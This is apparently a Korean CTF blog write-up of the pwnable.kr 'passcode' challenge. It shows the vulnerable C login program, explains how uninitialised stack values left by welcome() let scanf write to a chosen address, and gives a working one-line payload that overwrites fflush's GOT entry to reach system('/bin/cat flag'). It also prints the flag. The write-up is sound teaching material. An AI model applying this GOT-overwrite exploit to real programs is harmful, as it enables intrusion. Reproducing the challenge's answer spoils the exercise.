PASSCODE
keyword : GOT Write, fflush
#include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; }
main함수에서 welcome(), login()함수를 순서적으로 호출한다.
welcome함수에서는 이름을 100byte만큼 입력받아 100byte크기의 name배열에 저장.
login 함수는 passcode1과 passcode2를 입력받고 passcode1은 338150, passcode2는 13371337인지 체크하고 맞으면 flag값을 보여준다.
순간 멘붕... 이후 gdb로 하나씩 실행해보고 스택 확인하면서... 삽질...😩💢♨️
그러던중 이상한 점을 찾았다.
void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...\n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!\n"); system("/bin/cat flag"); } else{ printf("Login Failed!\n"); exit(0); } }
login 함수를 보면... scanf가 이상하다. scanf는 두번째 인자로 주소를 넘겨주기 때문에 보통 scan("%s", &passcode); 이런식으로 주소연산자를 이용하는데, login 함수 내의 scanf는 없다.
즉, scanf로 입력받는 문자열이 passcode1으로 들어가는것이 아니라 passcode1의 저장된 값을 참조하여 저장된다.
passcode1, passcode2에 퍼버내의 주소값을 넣어주고, 해당 주소에 338150, 13371337을 넣으면 되겠지?
이제 특정한 공간에 "338150"과 "13371337"을 넣고 그 주소를 넣어야 하는 문제가 남았다.
그런데 문제가 생겼다. ASLR 보호기법이 적용되어 있어, 실행시마다 버퍼주소가 변경된다.
좀더 생각을해보자....
int main(){ printf("Toddler's Secure Login System 1.0 beta.\n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)\n"); return 0; } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!\n", name); }
main함수에서 welcome함수를 호출하고 login함수를 호출하였다. 문제 출제자는 welcome함수를 왜 만들어 놨을까... 그리고 왜 name배열을 100byte나 선언하였을까?
main함수에서 welcome함수를 호출 후 리턴하는 과정에서 스택에 쓰레기값들이 존재 할 것이고... 그 스택위에 login함수의 스택을 쌓는다.
login함수 내부에서 passcode1과 passcode2는 초기화를 하지 않는다. 즉, 스택의 쓰레기 값이 들어가 있다.
이 쓰레기 값을 이용하면 될 것 같다.
welcome함수를 불렀을 때, ebp주소와 login함수를 불렀을 때 ebp주소를 확인해 보니 같다.
login함수에서 passcode1은 ebp-0x10에 있고, passcode2는 ebp-0xc에 있다.
welcome함수에서 name배열의 시작주소는 ebp-0x70이다. 이를 이용하여 그림을 그리면 다음과 같다.
민트색 사각형 "?????" 부분에 주소를 넣으면 해당 주소에 scanf를 통해 값을 넣을 수 있다.
이 점을 이용하여 문제를 풀어야 한다.
void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); .....생략..... }
scanf로 passcode1값을 입력받고 나서 실행되는 함수는 fflush함수이다.
따라서 위 그림의 ebp-16에 fflush의 got주소를 넣으면 우리가 scanf를 통해 fflush@got에 원하는 값을 쓸 수 있다.
이때 fflush@got에 login함수 내부에 있는 system("/bin/cat flag") 실행 주소를 넣으면, fflush가 실행되면 system("/bin/cat flag")가 실행되게 된다.
payload 시나리오:| dummy(96) | &fflush@got | &system("/bin/cat flag") |
fflush@got : 0x804a004
system("/bin/cat flag") : 0x080485e3
이때 system("/bin/cat flag")의 시작주소는 scanf에 의해서 입력하게 되는데, 이때 표준입력 형식이 "%d"이다.
따라서 정수 값으로 넘겨 주어야 한다.
0x80485e3 = 134514147
payload : (python -c 'print "A"*96+"\x04\xa0\x04\x08"+"134514147"' ; cat)|./passcode
✌️flag : Sorry mom.. I got confused about scanf usage :(
잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :) 태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 |